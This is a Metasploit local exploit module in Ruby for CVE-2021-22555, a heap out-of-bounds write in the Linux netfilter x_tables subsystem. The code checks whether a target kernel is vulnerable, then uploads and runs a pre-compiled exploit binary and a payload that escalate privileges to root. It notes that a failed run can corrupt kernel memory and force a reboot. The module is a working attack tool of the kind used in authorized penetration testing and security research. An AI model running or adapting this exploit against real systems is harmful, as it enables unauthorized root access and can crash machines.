## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Common prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation', 'Description' => %q{ A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space. Kernels up to 5.11 (including) are vulnerable. More information about vulnerable kernels is available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea }, 'License' => MSF_LICENSE, 'Author' => [ 'Andy Nguyen (theflow@)', # The original author of this exploit 'Szymon Janusz', # The author of this module 'bcoles' # Updated the C source code to provide more targets ], 'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date 'Platform' => 'linux', 'Arch' => [ ARCH_X64 ], 'SessionTypes' => ['meterpreter', 'shell'], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes. 'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted. 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'References' => [ ['CVE', '2021-22555'], ['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555'], ['URL', 'https://ubuntu.com/security/CVE-2021-22555'] ] ) ) register_options( [ OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']), OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10]) ] ) end def base_dir datastore['WritableDir'].to_s end def cmd_timeout datastore['CmdTimeout'].to_i end def get_external_source_code(cve, file) file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}") ::File.binread(file_path) end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def check unless kernel_modules.include? 'ip_tables' vprint_warning('The ip_tables module is not loaded.') return CheckCode::Safe('The ip_tables module is not loaded.') end return CheckCode::Safe('LKRG is installed.') if lkrg_installed? return CheckCode::Safe('grsecurity is in use') if grsec_installed? release = kernel_release version = "#{release} #{kernel_version.split(' ').first}" ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten if ubuntu_kernels.empty? fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.') end return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version # Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels. # Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length. minimum_msgmni = 4096 msgmni_path = '/proc/sys/kernel/msgmni' return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path) msgmni = read_file(msgmni_path).to_i if msgmni >= minimum_msgmni return CheckCode::Appears("Target is running kernel release #{release}.") else return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.") end end def upload_exploit_binary executable_name = rand_text_alphanumeric(5..10) @executable_path = "#{base_dir}/#{executable_name}" upload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf')) register_file_for_cleanup(@executable_path) end def upload_payload_binary payload_name = rand_text_alphanumeric(5..10) @payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx(@payload_path, generate_payload_exe) register_file_for_cleanup(@payload_path) end def run_payload response = cmd_exec(@executable_path, @payload_path, cmd_timeout) vprint_status(response) if response =~ /No space left on device/ # After too many failed attempts, the system needs to be restarted. fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.') elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/ fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.') elsif response =~ /system is not using an Ubuntu kernel/ fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.') elsif response =~ /not recognized/ fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.') end print_status('Payload executed!') end def exploit fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir) print_status('Dropping pre-compiled binaries to system...') upload_exploit_binary print_status('Uploading payload...') upload_payload_binary print_status('Running payload on remote system...') run_payload end end